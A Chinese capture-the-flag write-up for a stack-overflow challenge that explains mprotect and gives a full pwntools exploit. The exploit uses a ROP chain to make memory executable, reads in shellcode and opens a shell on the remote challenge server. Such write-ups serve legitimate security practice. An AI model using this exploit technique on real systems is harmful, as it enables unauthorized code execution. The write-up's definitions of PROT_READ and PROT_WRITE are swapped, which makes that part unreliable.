一开始看见这个题,还挺开心
这是一个栈溢出,而且很简单
不过我们发现写的exp本地能通,但是远程过不了
这是因为.bss段的权限受限
但是有这么一个函数,mprotect,我们先来学习一下。
int mprotect(const void *start, size_t len, int prot);
第一个参数填的是一个地址,是指需要进行操作的地址。
第二个参数是地址往后多大的长度。
第三个参数的是要赋予的权限。
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
嗯。。。还是上面这一句话讲的明白…
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
prot=7 是可读可写可执行
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
修改使用mprotec函数修改内存的权限为可读可写可执行,然后在该内存中写入自己的shellcode,执行该代码即可.
首先按先说一下mprotect函数:原型如下
int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len 修改内存的长度
prot 内存的权限
要想达到内存可执行的目的,我们看一下哪个内存最好修改,使用edb-debuger查看,或
$ ./ get_started_3dsctf_2016 &
$ cat /proc/[you_pid]/maps 查看内存区域
可以查看到,内存可读可写的地址为: 0x80EB000 ,所以我们对该内存进行增加一个权限
在我们修改权限时要在ret后面压一个返回地址
为了后续再能使用栈ret,我们的构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令
为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈
完好.
ret_addr2 即为执行完mprotect函数即弹出栈后的返回地址.我们也就可以再次利用栈的ret来控制eip,
即为下一个函数read的地址.
from pwn import *
elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
sh = remote('node3.buuoj.cn', 28576)
pop3_ret = 0x804951D
'''
pop esi
pop edi
pop ebp
'''
mem_addr = 0x80EB000 #可读可写的内存,但不可执行
mem_size = 0x1000 #通过调试出来的值
mem_proc = 0x7 #可代表可读可写可执行
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
'''
为了连续在堆栈中执行,就是用pop3_ret来控制esp,使它往下弹掉已用的3个值.
'''
payload_01 = 'A' * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12
#mprotect 的三个参数
payload_01 += p32(mem_addr) #mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size) #mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc) #mprotect函数参数3 修改的权限
payload_01 += p32(read_addr) #执行完pop3_ret后弹到read地址
payload_01 += p32(pop3_ret) #执行完read后将返回到pop3_ret指令,又继续使esp+12
#read 的三个参数
payload_01 += p32(0) #read函数参数1 ,从输入端读取
payload_01 += p32(mem_addr) #读取到的内容复制到指向的内存里
payload_01 += p32(0x100) #读取大小
payload_01 += p32(mem_addr) #执行完read后ret esi
sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux')
sh.sendline(payload_sh)
sh.interactive()
具体过程可以看看这